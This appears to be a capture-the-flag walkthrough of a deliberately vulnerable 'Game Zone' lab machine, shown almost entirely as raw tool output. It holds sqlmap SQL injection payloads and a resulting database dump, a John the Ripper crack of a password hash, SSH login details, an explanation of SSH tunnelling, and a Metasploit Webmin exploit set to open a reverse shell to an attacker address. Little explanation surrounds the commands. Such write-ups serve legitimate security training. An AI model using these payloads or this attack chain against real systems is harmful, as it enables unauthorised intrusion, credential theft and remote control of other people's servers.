--- Parameter: searchitem (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: searchitem=-2609' OR 1334=1334#
Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: searchitem=1' AND GTID_SUBSET(CONCAT(0x717a787671,(SELECT (ELT(2371=2371,1))),0x7178717071),2371)-- bUnX
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: searchitem=1' AND (SELECT 7186 FROM (SELECT(SLEEP(5)))naeg)-- Ohyx
Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: searchitem=1' UNION ALL SELECT NULL,CONCAT(0x717a787671,0x70666c71744e687949777748634848576b6669636b486e4a7776646b664e426d557559564f4f4f48,0x7178717071),NULL# ---
1 2 3 4 5 6 7 8 9 10 11 12
Database: db Table: post [5 entries] +----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | id | name | description | +----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | 1 | Mortal Kombat 11 | Its a rare fighting game that hits just about every note as strongly as Mortal Kombat 11 does. Everything from its methodical and deep combat. | | 2 | Marvel Ultimate Alliance 3 | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. | | 3 | SWBF2 2005 | Best game ever | | 4 | Hitman 2 | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing. | | 5 | Call of Duty: Modern Warfare 2 | When you look at the total package, Call of Duty: Modern Warfare 2 is hands-down one of the best first-person shooters out there, and a truly amazing offering across any system. | +----+--------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
┌──(root㉿kali)-[~] └─# john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x]) Warning: poor OpenMP scalability for this hash type, consider --fork=4 Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status videogamer124 (?) 1g 0:00:00:00 DONE (2024-01-17 21:55) 6.250g/s 18227Kp/s 18227Kc/s 18227KC/s vimivi..veluca Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably Session completed.
videogamer124
1
ssh agent47@10.10.185.223
Task 5 Exposing services with reverse SSH tunnels
反向 SSH 端口转发指定将远程服务器主机上的给定端口转发到本地端的给定主机和端口。
-L is a local tunnel (YOU <– CLIENT). If a site was blocked, you can forward the traffic to a server you own and view it. For example, if imgur was blocked at work, you can do ssh -L 9000:imgur.com:80 user@example.com. Going to localhost:9000 on your machine, will load imgur traffic using your other server.
-R is a remote tunnel (YOU –> CLIENT). You forward your traffic to the other server for others to view. Similar to the example above, but in reverse.
agent47@gamezone:~$ netstat -tnlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD videogamer124 yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic s/using-metasploit.html RPORT 10000 yes The target port (TCP) SSL false yes Use SSL USERNAME agent47 yes Webmin Username VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.11.63.201 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Webmin 1.580
View the full module info with the info, or info -d command.
